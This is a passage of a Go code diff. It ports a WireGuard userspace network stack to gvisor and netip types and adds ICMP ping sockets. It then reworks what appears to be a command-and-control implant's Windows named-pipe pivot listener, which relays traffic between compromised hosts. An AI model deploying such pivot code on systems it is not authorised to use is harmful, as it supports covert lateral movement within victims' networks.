||||
return nil
|
||||
}
|
||||
+347
-96
@@ -1,7 +1,6 @@
|
||||
/* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Copyright (C) 2019-2021 WireGuard LLC. All Rights Reserved.
|
||||
* https://git.zx2c4.com/wireguard-go/tree/tun/netstack/tun.go
|
||||
*/
|
||||
|
||||
package netstack
|
||||
@@ -14,7 +13,9 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/netip"
|
||||
"os"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -22,15 +23,17 @@ import (
|
||||
"golang.zx2c4.com/wireguard/tun"
|
||||
|
||||
"golang.org/x/net/dns/dnsmessage"
|
||||
"inet.af/netstack/tcpip"
|
||||
"inet.af/netstack/tcpip/adapters/gonet"
|
||||
"inet.af/netstack/tcpip/buffer"
|
||||
"inet.af/netstack/tcpip/header"
|
||||
"inet.af/netstack/tcpip/network/ipv4"
|
||||
"inet.af/netstack/tcpip/network/ipv6"
|
||||
"inet.af/netstack/tcpip/stack"
|
||||
"inet.af/netstack/tcpip/transport/tcp"
|
||||
"inet.af/netstack/tcpip/transport/udp"
|
||||
"gvisor.dev/gvisor/pkg/tcpip"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/buffer"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/header"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/stack"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/transport/icmp"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/transport/tcp"
|
||||
"gvisor.dev/gvisor/pkg/tcpip/transport/udp"
|
||||
"gvisor.dev/gvisor/pkg/waiter"
|
||||
)
|
||||
|
||||
type netTun struct {
|
||||
@@ -39,11 +42,14 @@ type netTun struct {
|
||||
events chan tun.Event
|
||||
incomingPacket chan buffer.VectorisedView
|
||||
mtu int
|
||||
dnsServers []net.IP
|
||||
dnsServers []netip.Addr
|
||||
hasV4, hasV6 bool
|
||||
}
|
||||
type endpoint netTun
|
||||
type Net netTun
|
||||
|
||||
type (
|
||||
endpoint netTun
|
||||
Net netTun
|
||||
)
|
||||
|
||||
func (e *endpoint) Attach(dispatcher stack.NetworkDispatcher) {
|
||||
e.dispatcher = dispatcher
|
||||
@@ -75,12 +81,16 @@ func (*endpoint) LinkAddress() tcpip.LinkAddress {
|
||||
|
||||
func (*endpoint) Wait() {}
|
||||
|
||||
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ *stack.GSO, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
|
||||
func (e *endpoint) WritePacket(_ stack.RouteInfo, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
|
||||
e.incomingPacket <- buffer.NewVectorisedView(pkt.Size(), pkt.Views())
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e *endpoint) WritePackets(stack.RouteInfo, *stack.GSO, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
|
||||
func (e *endpoint) WritePackets(stack.RouteInfo, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
|
||||
panic("not implemented")
|
||||
}
|
||||
|
||||
func (e *endpoint) WriteRawPacket(*stack.PacketBuffer) tcpip.Error {
|
||||
panic("not implemented")
|
||||
}
|
||||
|
||||
@@ -91,10 +101,10 @@ func (*endpoint) ARPHardwareType() header.ARPHardwareType {
|
||||
func (e *endpoint) AddHeader(tcpip.LinkAddress, tcpip.LinkAddress, tcpip.NetworkProtocolNumber, *stack.PacketBuffer) {
|
||||
}
|
||||
|
||||
func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Net, error) {
|
||||
func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device, *Net, error) {
|
||||
opts := stack.Options{
|
||||
NetworkProtocols: []stack.NetworkProtocolFactory{ipv4.NewProtocol, ipv6.NewProtocol},
|
||||
TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol},
|
||||
TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol, icmp.NewProtocol6, icmp.NewProtocol4},
|
||||
HandleLocal: true,
|
||||
}
|
||||
dev := &netTun{
|
||||
@@ -109,17 +119,23 @@ func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Ne
|
||||
return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
|
||||
}
|
||||
for _, ip := range localAddresses {
|
||||
if ip4 := ip.To4(); ip4 != nil {
|
||||
tcpipErr = dev.stack.AddAddress(1, ipv4.ProtocolNumber, tcpip.Address(ip4))
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
|
||||
}
|
||||
var protoNumber tcpip.NetworkProtocolNumber
|
||||
if ip.Is4() {
|
||||
protoNumber = ipv4.ProtocolNumber
|
||||
} else if ip.Is6() {
|
||||
protoNumber = ipv6.ProtocolNumber
|
||||
}
|
||||
protoAddr := tcpip.ProtocolAddress{
|
||||
Protocol: protoNumber,
|
||||
AddressWithPrefix: tcpip.Address(ip.AsSlice()).WithPrefix(),
|
||||
}
|
||||
tcpipErr := dev.stack.AddProtocolAddress(1, protoAddr, stack.AddressProperties{})
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("AddProtocolAddress(%v): %v", ip, tcpipErr)
|
||||
}
|
||||
if ip.Is4() {
|
||||
dev.hasV4 = true
|
||||
} else {
|
||||
tcpipErr = dev.stack.AddAddress(1, ipv6.ProtocolNumber, tcpip.Address(ip))
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
|
||||
}
|
||||
} else if ip.Is6() {
|
||||
dev.hasV6 = true
|
||||
}
|
||||
}
|
||||
@@ -129,10 +145,6 @@ func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Ne
|
||||
if dev.hasV6 {
|
||||
dev.stack.AddRoute(tcpip.Route{Destination: header.IPv6EmptySubnet, NIC: 1})
|
||||
}
|
||||
// tcpipErr = dev.stack.SetPromiscuousMode(1, true)
|
||||
// if tcpipErr != nil {
|
||||
// return nil, nil, fmt.Errorf("SetPromiscuousMode: %v", tcpipErr)
|
||||
// }
|
||||
|
||||
dev.events <- tun.EventUp
|
||||
return dev, (*Net)(dev), nil
|
||||
@@ -195,62 +207,291 @@ func (tun *netTun) MTU() (int, error) {
|
||||
return tun.mtu, nil
|
||||
}
|
||||
|
||||
func convertToFullAddr(ip net.IP, port int) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
|
||||
if ip4 := ip.To4(); ip4 != nil {
|
||||
return tcpip.FullAddress{
|
||||
NIC: 1,
|
||||
Addr: tcpip.Address(ip4),
|
||||
Port: uint16(port),
|
||||
}, ipv4.ProtocolNumber
|
||||
func convertToFullAddr(endpoint netip.AddrPort) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
|
||||
var protoNumber tcpip.NetworkProtocolNumber
|
||||
if endpoint.Addr().Is4() {
|
||||
protoNumber = ipv4.ProtocolNumber
|
||||
} else {
|
||||
return tcpip.FullAddress{
|
||||
NIC: 1,
|
||||
Addr: tcpip.Address(ip),
|
||||
Port: uint16(port),
|
||||
}, ipv6.ProtocolNumber
|
||||
protoNumber = ipv6.ProtocolNumber
|
||||
}
|
||||
return tcpip.FullAddress{
|
||||
NIC: 1,
|
||||
Addr: tcpip.Address(endpoint.Addr().AsSlice()),
|
||||
Port: endpoint.Port(),
|
||||
}, protoNumber
|
||||
}
|
||||
|
||||
func (net *Net) DialContextTCPAddrPort(ctx context.Context, addr netip.AddrPort) (*gonet.TCPConn, error) {
|
||||
fa, pn := convertToFullAddr(addr)
|
||||
return gonet.DialContextTCP(ctx, net.stack, fa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) DialContextTCP(ctx context.Context, addr *net.TCPAddr) (*gonet.TCPConn, error) {
|
||||
if addr == nil {
|
||||
panic("todo: deal with auto addr semantics for nil addr")
|
||||
return net.DialContextTCPAddrPort(ctx, netip.AddrPort{})
|
||||
}
|
||||
fa, pn := convertToFullAddr(addr.IP, addr.Port)
|
||||
return gonet.DialContextTCP(ctx, net.stack, fa, pn)
|
||||
ip, _ := netip.AddrFromSlice(addr.IP)
|
||||
return net.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(ip, uint16(addr.Port)))
|
||||
}
|
||||
|
||||
func (net *Net) DialTCPAddrPort(addr netip.AddrPort) (*gonet.TCPConn, error) {
|
||||
fa, pn := convertToFullAddr(addr)
|
||||
return gonet.DialTCP(net.stack, fa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) DialTCP(addr *net.TCPAddr) (*gonet.TCPConn, error) {
|
||||
if addr == nil {
|
||||
panic("todo: deal with auto addr semantics for nil addr")
|
||||
return net.DialTCPAddrPort(netip.AddrPort{})
|
||||
}
|
||||
fa, pn := convertToFullAddr(addr.IP, addr.Port)
|
||||
return gonet.DialTCP(net.stack, fa, pn)
|
||||
ip, _ := netip.AddrFromSlice(addr.IP)
|
||||
return net.DialTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
|
||||
}
|
||||
|
||||
func (net *Net) ListenTCPAddrPort(addr netip.AddrPort) (*gonet.TCPListener, error) {
|
||||
fa, pn := convertToFullAddr(addr)
|
||||
return gonet.ListenTCP(net.stack, fa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) ListenTCP(addr *net.TCPAddr) (*gonet.TCPListener, error) {
|
||||
if addr == nil {
|
||||
panic("todo: deal with auto addr semantics for nil addr")
|
||||
return net.ListenTCPAddrPort(netip.AddrPort{})
|
||||
}
|
||||
fa, pn := convertToFullAddr(addr.IP, addr.Port)
|
||||
return gonet.ListenTCP(net.stack, fa, pn)
|
||||
ip, _ := netip.AddrFromSlice(addr.IP)
|
||||
return net.ListenTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
|
||||
}
|
||||
|
||||
func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
|
||||
func (net *Net) DialUDPAddrPort(laddr, raddr netip.AddrPort) (*gonet.UDPConn, error) {
|
||||
var lfa, rfa *tcpip.FullAddress
|
||||
var pn tcpip.NetworkProtocolNumber
|
||||
if laddr != nil {
|
||||
if laddr.IsValid() || laddr.Port() > 0 {
|
||||
var addr tcpip.FullAddress
|
||||
addr, pn = convertToFullAddr(laddr.IP, laddr.Port)
|
||||
addr, pn = convertToFullAddr(laddr)
|
||||
lfa = &addr
|
||||
}
|
||||
if raddr != nil {
|
||||
if raddr.IsValid() || raddr.Port() > 0 {
|
||||
var addr tcpip.FullAddress
|
||||
addr, pn = convertToFullAddr(raddr.IP, raddr.Port)
|
||||
addr, pn = convertToFullAddr(raddr)
|
||||
rfa = &addr
|
||||
}
|
||||
return gonet.DialUDP(net.stack, lfa, rfa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) ListenUDPAddrPort(laddr netip.AddrPort) (*gonet.UDPConn, error) {
|
||||
return net.DialUDPAddrPort(laddr, netip.AddrPort{})
|
||||
}
|
||||
|
||||
func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
|
||||
var la, ra netip.AddrPort
|
||||
if laddr != nil {
|
||||
ip, _ := netip.AddrFromSlice(laddr.IP)
|
||||
la = netip.AddrPortFrom(ip, uint16(laddr.Port))
|
||||
}
|
||||
if raddr != nil {
|
||||
ip, _ := netip.AddrFromSlice(raddr.IP)
|
||||
ra = netip.AddrPortFrom(ip, uint16(raddr.Port))
|
||||
}
|
||||
return net.DialUDPAddrPort(la, ra)
|
||||
}
|
||||
|
||||
func (net *Net) ListenUDP(laddr *net.UDPAddr) (*gonet.UDPConn, error) {
|
||||
return net.DialUDP(laddr, nil)
|
||||
}
|
||||
|
||||
type PingConn struct {
|
||||
laddr PingAddr
|
||||
raddr PingAddr
|
||||
wq waiter.Queue
|
||||
ep tcpip.Endpoint
|
||||
deadline *time.Timer
|
||||
}
|
||||
|
||||
type PingAddr struct{ addr netip.Addr }
|
||||
|
||||
func (ia PingAddr) String() string {
|
||||
return ia.addr.String()
|
||||
}
|
||||
|
||||
func (ia PingAddr) Network() string {
|
||||
if ia.addr.Is4() {
|
||||
return "ping4"
|
||||
} else if ia.addr.Is6() {
|
||||
return "ping6"
|
||||
}
|
||||
return "ping"
|
||||
}
|
||||
|
||||
func (ia PingAddr) Addr() netip.Addr {
|
||||
return ia.addr
|
||||
}
|
||||
|
||||
func PingAddrFromAddr(addr netip.Addr) *PingAddr {
|
||||
return &PingAddr{addr}
|
||||
}
|
||||
|
||||
func (net *Net) DialPingAddr(laddr, raddr netip.Addr) (*PingConn, error) {
|
||||
if !laddr.IsValid() && !raddr.IsValid() {
|
||||
return nil, errors.New("ping dial: invalid address")
|
||||
}
|
||||
v6 := laddr.Is6() || raddr.Is6()
|
||||
bind := laddr.IsValid()
|
||||
if !bind {
|
||||
if v6 {
|
||||
laddr = netip.IPv6Unspecified()
|
||||
} else {
|
||||
laddr = netip.IPv4Unspecified()
|
||||
}
|
||||
}
|
||||
|
||||
tn := icmp.ProtocolNumber4
|
||||
pn := ipv4.ProtocolNumber
|
||||
if v6 {
|
||||
tn = icmp.ProtocolNumber6
|
||||
pn = ipv6.ProtocolNumber
|
||||
}
|
||||
|
||||
pc := &PingConn{
|
||||
laddr: PingAddr{laddr},
|
||||
deadline: time.NewTimer(time.Hour << 10),
|
||||
}
|
||||
pc.deadline.Stop()
|
||||
|
||||
ep, tcpipErr := net.stack.NewEndpoint(tn, pn, &pc.wq)
|
||||
if tcpipErr != nil {
|
||||
return nil, fmt.Errorf("ping socket: endpoint: %s", tcpipErr)
|
||||
}
|
||||
pc.ep = ep
|
||||
|
||||
if bind {
|
||||
fa, _ := convertToFullAddr(netip.AddrPortFrom(laddr, 0))
|
||||
if tcpipErr = pc.ep.Bind(fa); tcpipErr != nil {
|
||||
return nil, fmt.Errorf("ping bind: %s", tcpipErr)
|
||||
}
|
||||
}
|
||||
|
||||
if raddr.IsValid() {
|
||||
pc.raddr = PingAddr{raddr}
|
||||
fa, _ := convertToFullAddr(netip.AddrPortFrom(raddr, 0))
|
||||
if tcpipErr = pc.ep.Connect(fa); tcpipErr != nil {
|
||||
return nil, fmt.Errorf("ping connect: %s", tcpipErr)
|
||||
}
|
||||
}
|
||||
|
||||
return pc, nil
|
||||
}
|
||||
|
||||
func (net *Net) ListenPingAddr(laddr netip.Addr) (*PingConn, error) {
|
||||
return net.DialPingAddr(laddr, netip.Addr{})
|
||||
}
|
||||
|
||||
func (net *Net) DialPing(laddr, raddr *PingAddr) (*PingConn, error) {
|
||||
var la, ra netip.Addr
|
||||
if laddr != nil {
|
||||
la = laddr.addr
|
||||
}
|
||||
if raddr != nil {
|
||||
ra = raddr.addr
|
||||
}
|
||||
return net.DialPingAddr(la, ra)
|
||||
}
|
||||
|
||||
func (net *Net) ListenPing(laddr *PingAddr) (*PingConn, error) {
|
||||
var la netip.Addr
|
||||
if laddr != nil {
|
||||
la = laddr.addr
|
||||
}
|
||||
return net.ListenPingAddr(la)
|
||||
}
|
||||
|
||||
func (pc *PingConn) LocalAddr() net.Addr {
|
||||
return pc.laddr
|
||||
}
|
||||
|
||||
func (pc *PingConn) RemoteAddr() net.Addr {
|
||||
return pc.raddr
|
||||
}
|
||||
|
||||
func (pc *PingConn) Close() error {
|
||||
pc.deadline.Reset(0)
|
||||
pc.ep.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (pc *PingConn) SetWriteDeadline(t time.Time) error {
|
||||
return errors.New("not implemented")
|
||||
}
|
||||
|
||||
func (pc *PingConn) WriteTo(p []byte, addr net.Addr) (n int, err error) {
|
||||
var na netip.Addr
|
||||
switch v := addr.(type) {
|
||||
case *PingAddr:
|
||||
na = v.addr
|
||||
case *net.IPAddr:
|
||||
na, _ = netip.AddrFromSlice(v.IP)
|
||||
default:
|
||||
return 0, fmt.Errorf("ping write: wrong net.Addr type")
|
||||
}
|
||||
if !((na.Is4() && pc.laddr.addr.Is4()) || (na.Is6() && pc.laddr.addr.Is6())) {
|
||||
return 0, fmt.Errorf("ping write: mismatched protocols")
|
||||
}
|
||||
|
||||
buf := buffer.NewViewFromBytes(p)
|
||||
rdr := buf.Reader()
|
||||
rfa, _ := convertToFullAddr(netip.AddrPortFrom(na, 0))
|
||||
// won't block, no deadlines
|
||||
n64, tcpipErr := pc.ep.Write(&rdr, tcpip.WriteOptions{
|
||||
To: &rfa,
|
||||
})
|
||||
if tcpipErr != nil {
|
||||
return int(n64), fmt.Errorf("ping write: %s", tcpipErr)
|
||||
}
|
||||
|
||||
return int(n64), nil
|
||||
}
|
||||
|
||||
func (pc *PingConn) Write(p []byte) (n int, err error) {
|
||||
return pc.WriteTo(p, &pc.raddr)
|
||||
}
|
||||
|
||||
func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
|
||||
e, notifyCh := waiter.NewChannelEntry(nil)
|
||||
pc.wq.EventRegister(&e, waiter.EventIn)
|
||||
defer pc.wq.EventUnregister(&e)
|
||||
|
||||
select {
|
||||
case <-pc.deadline.C:
|
||||
return 0, nil, os.ErrDeadlineExceeded
|
||||
case <-notifyCh:
|
||||
}
|
||||
|
||||
w := tcpip.SliceWriter(p)
|
||||
|
||||
res, tcpipErr := pc.ep.Read(&w, tcpip.ReadOptions{
|
||||
NeedRemoteAddr: true,
|
||||
})
|
||||
if tcpipErr != nil {
|
||||
return 0, nil, fmt.Errorf("ping read: %s", tcpipErr)
|
||||
}
|
||||
|
||||
remoteAddr, _ := netip.AddrFromSlice([]byte(res.RemoteAddr.Addr))
|
||||
return res.Count, &PingAddr{remoteAddr}, nil
|
||||
}
|
||||
|
||||
func (pc *PingConn) Read(p []byte) (n int, err error) {
|
||||
n, _, err = pc.ReadFrom(p)
|
||||
return
|
||||
}
|
||||
|
||||
func (pc *PingConn) SetDeadline(t time.Time) error {
|
||||
// pc.SetWriteDeadline is unimplemented
|
||||
|
||||
return pc.SetReadDeadline(t)
|
||||
}
|
||||
|
||||
func (pc *PingConn) SetReadDeadline(t time.Time) error {
|
||||
pc.deadline.Reset(t.Sub(time.Now()))
|
||||
return nil
|
||||
}
|
||||
|
||||
var (
|
||||
errNoSuchHost = errors.New("no such host")
|
||||
errLameReferral = errors.New("lame referral")
|
||||
@@ -426,7 +667,7 @@ func dnsStreamRoundTrip(c net.Conn, id uint16, query dnsmessage.Question, b []by
|
||||
return p, h, nil
|
||||
}
|
||||
|
||||
func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
|
||||
func (tnet *Net) exchange(ctx context.Context, server netip.Addr, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
|
||||
q.Class = dnsmessage.ClassINET
|
||||
id, udpReq, tcpReq, err := newRequest(q)
|
||||
if err != nil {
|
||||
@@ -440,16 +681,19 @@ func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Quest
|
||||
var c net.Conn
|
||||
var err error
|
||||
if useUDP {
|
||||
c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: server, Port: 53})
|
||||
c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, netip.AddrPortFrom(server, 53))
|
||||
} else {
|
||||
c, err = tnet.DialContextTCP(ctx, &net.TCPAddr{IP: server, Port: 53})
|
||||
c, err = tnet.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(server, 53))
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return dnsmessage.Parser{}, dnsmessage.Header{}, err
|
||||
}
|
||||
if d, ok := ctx.Deadline(); ok && !d.IsZero() {
|
||||
c.SetDeadline(d)
|
||||
err := c.SetDeadline(d)
|
||||
if err != nil {
|
||||
return dnsmessage.Parser{}, dnsmessage.Header{}, err
|
||||
}
|
||||
}
|
||||
var p dnsmessage.Parser
|
||||
var h dnsmessage.Header
|
||||
@@ -593,8 +837,8 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
zlen = zidx
|
||||
}
|
||||
}
|
||||
if ip := net.ParseIP(host[:zlen]); ip != nil {
|
||||
return []string{host[:zlen]}, nil
|
||||
if ip, err := netip.ParseAddr(host[:zlen]); err == nil {
|
||||
return []string{ip.String()}, nil
|
||||
}
|
||||
|
||||
if !isDomainName(host) {
|
||||
@@ -605,7 +849,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
server string
|
||||
error
|
||||
}
|
||||
var addrsV4, addrsV6 []net.IP
|
||||
var addrsV4, addrsV6 []netip.Addr
|
||||
lanes := 0
|
||||
if tnet.hasV4 {
|
||||
lanes++
|
||||
@@ -660,7 +904,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
}
|
||||
break loop
|
||||
}
|
||||
addrsV4 = append(addrsV4, net.IP(a.A[:]))
|
||||
addrsV4 = append(addrsV4, netip.AddrFrom4(a.A))
|
||||
|
||||
case dnsmessage.TypeAAAA:
|
||||
aaaa, err := result.p.AAAAResource()
|
||||
@@ -672,7 +916,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
}
|
||||
break loop
|
||||
}
|
||||
addrsV6 = append(addrsV6, net.IP(aaaa.AAAA[:]))
|
||||
addrsV6 = append(addrsV6, netip.AddrFrom16(aaaa.AAAA))
|
||||
|
||||
default:
|
||||
if err := result.p.SkipAnswer(); err != nil {
|
||||
@@ -688,7 +932,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
}
|
||||
}
|
||||
// We don't do RFC6724. Instead just put V6 addresess first if an IPv6 address is enabled
|
||||
var addrs []net.IP
|
||||
var addrs []netip.Addr
|
||||
if tnet.hasV6 {
|
||||
addrs = append(addrsV6, addrsV4...)
|
||||
} else {
|
||||
@@ -725,44 +969,48 @@ func partialDeadline(now, deadline time.Time, addrsRemaining int) (time.Time, er
|
||||
return now.Add(timeout), nil
|
||||
}
|
||||
|
||||
var protoSplitter = regexp.MustCompile(`^(tcp|udp|ping)(4|6)?$`)
|
||||
|
||||
func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
|
||||
if ctx == nil {
|
||||
panic("nil context")
|
||||
}
|
||||
var acceptV4, acceptV6, useUDP bool
|
||||
if len(network) == 3 {
|
||||
var acceptV4, acceptV6 bool
|
||||
matches := protoSplitter.FindStringSubmatch(network)
|
||||
if matches == nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
|
||||
} else if len(matches[2]) == 0 {
|
||||
acceptV4 = true
|
||||
acceptV6 = true
|
||||
} else if len(network) == 4 {
|
||||
acceptV4 = network[3] == '4'
|
||||
acceptV6 = network[3] == '6'
|
||||
} else {
|
||||
acceptV4 = matches[2][0] == '4'
|
||||
acceptV6 = !acceptV4
|
||||
}
|
||||
if !acceptV4 && !acceptV6 {
|
||||
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
|
||||
}
|
||||
if network[:3] == "udp" {
|
||||
useUDP = true
|
||||
} else if network[:3] != "tcp" {
|
||||
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
|
||||
}
|
||||
host, sport, err := net.SplitHostPort(address)
|
||||
if err != nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: err}
|
||||
}
|
||||
port, err := strconv.Atoi(sport)
|
||||
if err != nil || port < 0 || port > 65535 {
|
||||
return nil, &net.OpError{Op: "dial", Err: errNumericPort}
|
||||
var host string
|
||||
var port int
|
||||
if matches[1] == "ping" {
|
||||
host = address
|
||||
} else {
|
||||
var sport string
|
||||
var err error
|
||||
host, sport, err = net.SplitHostPort(address)
|
||||
if err != nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: err}
|
||||
}
|
||||
port, err = strconv.Atoi(sport)
|
||||
if err != nil || port < 0 || port > 65535 {
|
||||
return nil, &net.OpError{Op: "dial", Err: errNumericPort}
|
||||
}
|
||||
}
|
||||
allAddr, err := tnet.LookupContextHost(ctx, host)
|
||||
if err != nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: err}
|
||||
}
|
||||
var addrs []net.IP
|
||||
var addrs []netip.AddrPort
|
||||
for _, addr := range allAddr {
|
||||
if strings.IndexByte(addr, ':') != -1 && acceptV6 {
|
||||
addrs = append(addrs, net.ParseIP(addr))
|
||||
} else if strings.IndexByte(addr, '.') != -1 && acceptV4 {
|
||||
addrs = append(addrs, net.ParseIP(addr))
|
||||
ip, err := netip.ParseAddr(addr)
|
||||
if err == nil && ((ip.Is4() && acceptV4) || (ip.Is6() && acceptV6)) {
|
||||
addrs = append(addrs, netip.AddrPortFrom(ip, uint16(port)))
|
||||
}
|
||||
}
|
||||
if len(addrs) == 0 && len(allAddr) != 0 {
|
||||
@@ -800,10 +1048,13 @@ func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.
|
||||
}
|
||||
|
||||
var c net.Conn
|
||||
if useUDP {
|
||||
c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: addr, Port: port})
|
||||
} else {
|
||||
c, err = tnet.DialContextTCP(dialCtx, &net.TCPAddr{IP: addr, Port: port})
|
||||
switch matches[1] {
|
||||
case "tcp":
|
||||
c, err = tnet.DialContextTCPAddrPort(dialCtx, addr)
|
||||
case "udp":
|
||||
c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, addr)
|
||||
case "ping":
|
||||
c, err = tnet.DialPingAddr(netip.Addr{}, addr.Addr())
|
||||
}
|
||||
if err == nil {
|
||||
return c, nil
|
||||
|
||||
@@ -19,7 +19,9 @@ package pivots
|
||||
*/
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -29,39 +31,37 @@ import (
|
||||
"github.com/lesnuages/go-winio"
|
||||
)
|
||||
|
||||
// StartNamedPipePivotListener - Starts a named pipe listener
|
||||
func StartNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
fullName := "\\\\.\\pipe\\" + address
|
||||
var (
|
||||
namedpipePivotReadDeadline = 10 * time.Second
|
||||
namedpipePivotWriteDeadline = 10 * time.Second
|
||||
)
|
||||
|
||||
// CreateNamedPipePivotListener - Starts a named pipe listener
|
||||
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
fullName := "\\\\.\\pipe\\" + strings.TrimPrefix(address, "\\\\.\\pipe\\")
|
||||
ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
|
||||
//SecurityDescriptor: "",
|
||||
RemoteClientMode: true,
|
||||
})
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Listening on %s", fullName)
|
||||
log.Printf("Listening on named pipe %s", fullName)
|
||||
// {{end}}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
pivotLn := &PivotListener{
|
||||
ID: ListenerID(),
|
||||
Type: pb.PivotType_NamedPipe,
|
||||
Listener: ln,
|
||||
Pivots: &sync.Map{},
|
||||
BindAddress: fullName,
|
||||
Upstream: upstream,
|
||||
ID: ListenerID(),
|
||||
Type: pb.PivotType_NamedPipe,
|
||||
Listener: ln,
|
||||
PivotConnections: &sync.Map{},
|
||||
BindAddress: fullName,
|
||||
Upstream: upstream,
|
||||
}
|
||||
go namedPipeAcceptConnections(pivotLn)
|
||||
return pivotLn, nil
|
||||
}
|
||||
|
||||
func namedPipeAcceptConnections(pivotListener *PivotListener) {
|
||||
// hostname, err := os.Hostname()
|
||||
// if err != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Printf("Failed to determine hostname %s", err)
|
||||
// // {{end}}
|
||||
// hostname = "."
|
||||
// }
|
||||
// namedPipe := strings.ReplaceAll(pivotListener.Listener.Addr().String(), ".", hostname)
|
||||
for {
|
||||
conn, err := pivotListener.Listener.Accept()
|
||||
if err != nil {
|
||||
@@ -69,15 +69,14 @@ func namedPipeAcceptConnections(pivotListener *PivotListener) {
|
||||
}
|
||||
// handle connection like any other net.Conn
|
||||
pivotConn := &NetConnPivot{
|
||||
id: PivotID(),
|
||||
conn: conn,
|
||||
readMutex: &sync.Mutex{},
|
||||
writeMutex: &sync.Mutex{},
|
||||
readDeadline: tcpPivotReadDeadline,
|
||||
writeDeadline: tcpPivotWriteDeadline,
|
||||
readDeadline: namedpipePivotReadDeadline,
|
||||
writeDeadline: namedpipePivotWriteDeadline,
|
||||
upstream: pivotListener.Upstream,
|
||||
Downstream: make(chan *pb.Envelope),
|
||||
}
|
||||
go pivotConn.Start(pivotListener.Pivots)
|
||||
go pivotConn.Start(pivotListener.PivotConnections)
|
||||
}
|
||||
}
|
||||
+207
-93
@@ -43,17 +43,39 @@ const (
|
||||
)
|
||||
|
||||
var (
|
||||
ErrFailedWrite = errors.New("failed to write")
|
||||
// ErrFailedWrite - Failed to write to a connection
|
||||
ErrFailedWrite = errors.New("failed to write")
|
||||
// ErrFailedKeyExchange - Failed to exchange session and/or peer keys
|
||||
ErrFailedKeyExchange = errors.New("failed key exchange")
|
||||
|
||||
pivotListeners = &sync.Map{}
|
||||
listenerID = uint32(0)
|
||||
